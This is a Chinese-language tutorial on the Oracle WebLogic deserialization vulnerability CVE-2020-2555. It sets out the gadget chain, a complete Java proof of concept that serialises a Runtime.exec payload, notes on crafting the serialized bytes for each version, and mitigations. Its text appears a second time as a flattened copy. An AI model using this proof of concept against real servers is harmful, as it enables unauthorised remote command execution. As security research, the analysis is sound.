漫谈 Weblogic CVE-2020-2555
字数 2808 2025-08-26 22:12:03

WebLogic CVE-2020-2555 漏洞分析与利用教学文档

漏洞概述

CVE-2020-2555是Oracle WebLogic服务器中的一个高危反序列化远程命令执行漏洞,影响Oracle Coherence组件。攻击者可通过构造特殊的T3协议请求,在未经授权的情况下获取WebLogic服务器权限并执行任意命令。

影响版本

  • Oracle Coherence 3.7.1.17
  • Oracle Coherence & WebLogic 12.1.3.0.0
  • Oracle Coherence & WebLogic 12.2.1.3.0
  • Oracle Coherence & WebLogic 12.2.1.4.0

注意:WebLogic 10.3.6.0版本虽然默认自带Coherence 3.7,但未启用该组件,因此不受影响。

漏洞原理

漏洞源于com.tangosol.util.filter.LimitFilter#toString方法,攻击者可通过控制m_comparatorm_oAnchorTop属性构造利用链,最终实现任意命令执行。

利用链分析

完整的Gadget chain如下:

ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        LimitFilter.toString()
            ChainedExtractor.extract()
                ReflectionExtractor.extract()
                    Method.invoke()
                        Class.getMethod()
                ReflectionExtractor.extract()
                    Method.invoke()
                        Runtime.getRuntime()
                ReflectionExtractor.extract()
                    Method.invoke()
                        Runtime.exec()

漏洞调试环境搭建

  1. 修改user_project/domains/bin目录中的setDomainEnv.cmdsetDomainEnv.sh文件
  2. if %debugFlag == "false"%之前加入set debugFlag=true
  3. 拷贝Oracle_Home目录下所有文件至调试目录
  4. coherence\lib添加必要的Libraries
  5. 配置Remote调试方式,IP设置为开启debugFlag的服务器IP,端口为8453

POC构造分析

基于ysoserial中的CommonsCollections5构造利用POC:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    String cmd = "calc"; // 要执行的命令
    ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{
                    "getRuntime", new Class[0]
            }),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
            // Linux系统使用: new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
    };
    
    // 构造利用链
    LimitFilter limitFilter = new LimitFilter();
    limitFilter.setTopAnchor(Runtime.class);
    BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
    
    // 设置m_comparator属性
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
    
    // 设置m_oAnchorTop属性
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);
    
    // 设置BadAttributeValueExpException的val属性
    Field val = expException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(expException, limitFilter);
    
    // 序列化对象
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.666"));
    objectOutputStream.writeObject(expException);
    objectOutputStream.close();
}

漏洞利用过程详解

  1. 触发点com.tangosol.util.filter.LimitFilter#toString方法

    • m_oAnchorTop设置为java.lang.Runtime
    • m_comparator设置为ChainedExtractor实现
  2. 核心执行:通过extractor.extract触发利用链

    • 第一次执行:java.lang.Runtime.class.getMethod("getRuntime", new Class[0])
    • 第二次执行:java.lang.Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])
    • 第三次执行:runtime.exec(new String[]{"cmd", "/c", "notepad"})

动态序列化技术分析

由于不同WebLogic版本的序列化格式存在差异,需要了解参数构造的字节码规律:

  1. 参数构造格式:

    • 每个参数长度转换为16进制(2字节,不足补0)
    • 参数值的Hex码
    • WebLogic 12.2.1.3.0版本最后一位参数需要加70
    • 标识符74
  2. 示例分析:

    • new String[]{"cmd", "/c", "notepad"}对应字节码:
      00 03 63 6D 64 74 00 02 2F 63 74 00 07 6E 6F 74 65 70 61 64 70 74
      
    • new String[]{"cmd", "/c", "calc"}对应字节码:
      00 03 63 6D 64 74 00 02 2F 63 74 00 04 63 61 6C 63 70 74
      

版本兼容性问题

测试结果表明不同版本的序列化文件无法通用:

POC生成版本 测试版本 是否成功
12.1.3.0.0 12.1.3.0.0
12.1.3.0.0 12.2.1.3.0
12.1.3.0.0 12.2.1.4.0
12.2.1.3.0 12.1.3.0.0
12.2.1.3.0 12.2.1.3.0
12.2.1.3.0 12.2.1.4.0
12.2.1.4.0 12.1.3.0.0
12.2.1.4.0 12.2.1.3.0
12.2.1.4.0 12.2.1.4.0

修复方案

  1. 临时解决方案:禁用WebLogic T3协议
  2. 官方补丁:安装Oracle官方更新补丁(需登录账户下载)

参考资源

  1. CVE-2020-2555:WebLogic远程代码执行漏洞
  2. CVE-2020-2555: RCE THROUGH A DESERIALIZATION BUG IN ORACLE'S WEBLOGIC SERVER
  3. 浅析Java序列化和反序列化

附录:测试用POC文件

不同版本的POC文件示例:

版本 文件名 描述 操作系统
12.1.3.0.0 121300_calc.666 calc Windows
12.1.3.0.0 121300_notepad.666 notepad Windows
12.1.3.0.0 121300_ping.666 ping Windows
12.2.1.3.0 122130_calc.666 calc Windows
12.2.1.3.0 122130_linux_calc.666 calc Linux
12.2.1.3.0 122130_linux_curl.666 curl Linux
12.2.1.4.0 122140_calc.666 calc Windows
12.2.1.4.0 122140_linux_calc.666 calc Linux
12.2.1.4.0 122140_linux_curl.666 curl Linux

注意:本教学文档仅供安全研究和防御使用,请勿用于非法用途。

WebLogic CVE-2020-2555 漏洞分析与利用教学文档 漏洞概述 CVE-2020-2555是Oracle WebLogic服务器中的一个高危反序列化远程命令执行漏洞,影响Oracle Coherence组件。攻击者可通过构造特殊的T3协议请求,在未经授权的情况下获取WebLogic服务器权限并执行任意命令。 影响版本 Oracle Coherence 3.7.1.17 Oracle Coherence & WebLogic 12.1.3.0.0 Oracle Coherence & WebLogic 12.2.1.3.0 Oracle Coherence & WebLogic 12.2.1.4.0 注意 :WebLogic 10.3.6.0版本虽然默认自带Coherence 3.7,但未启用该组件,因此不受影响。 漏洞原理 漏洞源于 com.tangosol.util.filter.LimitFilter#toString 方法,攻击者可通过控制 m_comparator 和 m_oAnchorTop 属性构造利用链,最终实现任意命令执行。 利用链分析 完整的Gadget chain如下: 漏洞调试环境搭建 修改 user_project/domains/bin 目录中的 setDomainEnv.cmd 或 setDomainEnv.sh 文件 在 if %debugFlag == "false"% 之前加入 set debugFlag=true 拷贝Oracle_ Home目录下所有文件至调试目录 在 coherence\lib 添加必要的Libraries 配置Remote调试方式,IP设置为开启debugFlag的服务器IP,端口为8453 POC构造分析 基于ysoserial中的CommonsCollections5构造利用POC: 漏洞利用过程详解 触发点 : com.tangosol.util.filter.LimitFilter#toString 方法 m_oAnchorTop 设置为 java.lang.Runtime 类 m_comparator 设置为 ChainedExtractor 实现 核心执行 :通过 extractor.extract 触发利用链 第一次执行: java.lang.Runtime.class.getMethod("getRuntime", new Class[0]) 第二次执行: java.lang.Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]) 第三次执行: runtime.exec(new String[]{"cmd", "/c", "notepad"}) 动态序列化技术分析 由于不同WebLogic版本的序列化格式存在差异,需要了解参数构造的字节码规律: 参数构造格式: 每个参数长度转换为16进制(2字节,不足补0) 参数值的Hex码 WebLogic 12.2.1.3.0版本最后一位参数需要加 70 标识符 74 示例分析: new String[]{"cmd", "/c", "notepad"} 对应字节码: new String[]{"cmd", "/c", "calc"} 对应字节码: 版本兼容性问题 测试结果表明不同版本的序列化文件无法通用: | POC生成版本 | 测试版本 | 是否成功 | |-------------|----------|----------| | 12.1.3.0.0 | 12.1.3.0.0 | 是 | | 12.1.3.0.0 | 12.2.1.3.0 | 否 | | 12.1.3.0.0 | 12.2.1.4.0 | 否 | | 12.2.1.3.0 | 12.1.3.0.0 | 否 | | 12.2.1.3.0 | 12.2.1.3.0 | 是 | | 12.2.1.3.0 | 12.2.1.4.0 | 否 | | 12.2.1.4.0 | 12.1.3.0.0 | 否 | | 12.2.1.4.0 | 12.2.1.3.0 | 否 | | 12.2.1.4.0 | 12.2.1.4.0 | 是 | 修复方案 临时解决方案 :禁用WebLogic T3协议 官方补丁 :安装Oracle官方更新补丁(需登录账户下载) 参考资源 CVE-2020-2555:WebLogic远程代码执行漏洞 CVE-2020-2555: RCE THROUGH A DESERIALIZATION BUG IN ORACLE'S WEBLOGIC SERVER 浅析Java序列化和反序列化 附录:测试用POC文件 不同版本的POC文件示例: | 版本 | 文件名 | 描述 | 操作系统 | |--------------|----------------------|------------|----------| | 12.1.3.0.0 | 121300_ calc.666 | calc | Windows | | 12.1.3.0.0 | 121300_ notepad.666 | notepad | Windows | | 12.1.3.0.0 | 121300_ ping.666 | ping | Windows | | 12.2.1.3.0 | 122130_ calc.666 | calc | Windows | | 12.2.1.3.0 | 122130_ linux_ calc.666| calc | Linux | | 12.2.1.3.0 | 122130_ linux_ curl.666| curl | Linux | | 12.2.1.4.0 | 122140_ calc.666 | calc | Windows | | 12.2.1.4.0 | 122140_ linux_ calc.666| calc | Linux | | 12.2.1.4.0 | 122140_ linux_ curl.666| curl | Linux | 注意 :本教学文档仅供安全研究和防御使用,请勿用于非法用途。